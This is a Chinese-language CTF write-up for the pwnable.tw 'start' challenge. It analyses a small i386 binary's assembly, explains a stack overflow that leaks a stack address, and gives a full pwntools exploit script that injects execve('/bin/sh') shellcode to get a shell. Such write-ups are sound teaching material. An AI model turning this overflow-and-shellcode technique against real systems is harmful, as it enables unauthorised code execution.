1 程序分析

i386 架构,没有开任何保护,直接看汇编代码,包括一个 _start 和一个 _exit_start 执行完后返回到 _exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed

注意到有 2 个系统调用 int 80 指令,调用号分别为 4 和 3,查询 32 位系统调用表可知,对应的系统调用分别为 writeread。从 arg0 到 arg4,用于系统调用传参的寄存器为 ebx、ecx、edx、esi、edi。writeread 都只使用了前 3 个参数,原型如下:

1
2
write(unsigned int fd, const char *buf, size_t count)
read(unsigned int fd, char *buf, size_t count)

所以,该程序就做了 2 件事:

  1. 将字符串 “Let’s start the CTF:” 压栈,调用 write 将其输出到标准输出,传入的 buf 地址为 $esp
  2. 调用 read 从标准输入读取 0x3C 字节数据到栈上,传入的 buf 地址为 $esp

2 漏洞利用

栈可执行,retn 的前一条指令 add esp, 14h 可以看出至少需要覆盖 0x14 + 4 字节才能覆盖返回地址 saved eip,read 读取了 0x3C 字节。因此可以往栈上部署 shellcode

但首先要泄露栈上的地址,我们只有一个 write,所以可以考虑覆盖返回地址为 0x8048087,重新调用一次 write,此时传入的 buf 地址为原来的 esp + 0x14 + 0x4,也就是 _start 函数开头 push 进去的 old esp。因此覆盖返回地址为 0x8048087 可以泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
──────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffca14 ◂— 0x2774654c ("Let'")
01:0004│ 0xffffca18 ◂— 0x74732073 ('s st')
02:0008│ 0xffffca1c ◂— 0x20747261 ('art ')
03:000c│ 0xffffca20 ◂— 0x20656874 ('the ')
04:0010│ 0xffffca24 ◂— 0x3a465443 ('CTF:')
05:0014│ 0xffffca28 —▸ 0x804809d (_exit) ◂— pop esp
06:0018│ 0xffffca2c —▸ 0xffffca30 ◂— 1
07:001c│ 0xffffca30 ◂— 1
────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────
► 0 0x8048087 _start+39
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/8xw $esp
0xffffca14: 0x2774654c 0x74732073 0x20747261 0x20656874
0xffffca24: 0x3a465443 0x0804809d 0xffffca30 0x00000001

然后程序会再一次 read 0x3C 字节,此时 esp 指向栈上保存的 old esp,通过 pwndbg 查看以及计算可知 old esp = esp + 0x4,retn 执行前会执行 add esp, 14hretn 本身也会使 esp += 4,所以部署 shellcode 的地址只需要为泄露的 old esp + 4 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
# execve("/bin/sh", 0, 0)
shellcode = asm("""
xor eax, eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
""")

getshell = b"A" * 0x14 + p32(old_esp + 0x14) + shellcode

3 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(os='linux', arch='i386', log_level='debug')

elf = ELF('./start')

io = process(elf.path)
# io = gdb.debug(elf.path, "b _start")
# io = remote("chall.pwnable.tw", 10000)

leak_stack = b"A" * 0x14 + p32(0x8048087)

io.recv()
io.send(leak_stack)
old_esp = u32(io.recv()[0:4])

log.info("old_esp: " + hex(old_esp))

# execve("/bin/sh", 0, 0)
shellcode = asm("""
xor eax, eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
""")

getshell = b"A" * 0x14 + p32(old_esp + 0x14) + shellcode

io.send(getshell)

io.interactive()